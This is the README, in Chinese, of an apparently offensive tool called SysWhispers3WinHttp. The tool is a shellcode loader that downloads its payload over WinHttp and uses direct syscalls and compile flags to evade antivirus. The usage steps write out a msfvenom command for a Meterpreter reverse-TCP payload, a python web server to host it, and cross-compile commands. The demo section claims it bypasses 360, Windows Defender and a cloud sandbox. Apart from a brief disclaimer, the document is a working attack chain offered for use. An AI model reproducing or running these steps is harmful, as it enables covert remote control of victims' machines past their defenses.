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SysWhispers3WinHttp

SysWhispers3WinHttp 基于SysWhispers3增添WinHttp分离加载,在Linux下使用GCC进行交叉编译。

0x00 免责声明

该项目仅供安全研究使用,禁止使用该项目进行违法操作,否则由使用者承担全部法律及连带责任。

0x01 更新日志

2023/06/06 支持64位GCC编译与Stager方式上线SliverC2,增添编译参数绕过静态检测。

2023/07/03 支持64位程序在Windows 7 x64上线。

0x02 使用

// 1. 使用msfvenom生成Shellcode(或使用CobaltStrike生成Stageless之Shellcode)
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=x.x.x.x lport=4444 -f raw -o beacon.bin

// 2. 使用python3开启Web服务(或使用CobaltStrike之Host File功能)
python3 -m http.server

// 3. 修改SysWhispers3WinHttp.c第40行IP地址,使用Linux64位GCC进行交叉编译
x86_64-w64-mingw32-gcc -o SysWhispers3WinHttp.exe syscalls64.c SysWhispers3WinHttp.c -masm=intel -w -s -lwinhttp -O1

// ps. 或修改SysWhispers3WinHttp.c第4行头文件为syscalls.h,修改第40行IP地址,使用Linux32位GCC进行交叉编译
i686-w64-mingw32-gcc -o SysWhispers3WinHttp.exe syscalls.c SysWhispers3WinHttp.c -masm=intel -w -s -lwinhttp

0x03 演示

360核晶(2023/06/06更新) 360

Defender(2023/06/06更新) WD

微步云沙箱 threatbook

0x04 参考链接

https://github.com/klezVirus/SysWhispers3

https://learn.microsoft.com/zh-cn/windows/win32/api/winhttp/nf-winhttp-winhttpconnect

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